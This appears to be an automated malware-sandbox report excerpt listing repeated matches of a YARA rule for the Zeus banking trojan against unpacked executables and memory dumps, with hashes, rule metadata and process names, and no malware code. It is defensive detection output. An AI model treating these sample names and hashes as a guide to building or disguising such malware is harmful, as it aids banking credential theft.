Source: 0.3.roundwood.exe.6bf318.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 31.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.25d0000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 21.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2cd0000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.19.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.11.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 5.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.e30000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.33.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.10.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.15.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3c20000.8.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 19.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.14b0000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.2.roundwood.exe.406400.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.34.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.893c00.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 12.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.1412000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.26.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.88e000.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 4.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.12e0000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 29.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2922000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.30.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000008.00000002.2748593286.0000000000E70000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000017.00000002.2469299462.0000000002920000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2418070085.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2471833561.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000000F.00000002.2451003879.0000000000900000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000000C.00000002.2700298723.0000000001410000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000004.00000002.2719357526.00000000012E0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000019.00000002.2472684695.00000000008E0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000000.00000003.2027860859.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2500002475.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2499726055.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000005.00000002.2689381612.0000000000DD0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000001D.00000002.2479482654.0000000002D00000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2048298647.0000000002970000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2508798151.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2482262641.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2499866560.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2487147831.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2392591021.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000015.00000002.2460078038.0000000002B30000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2458081836.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
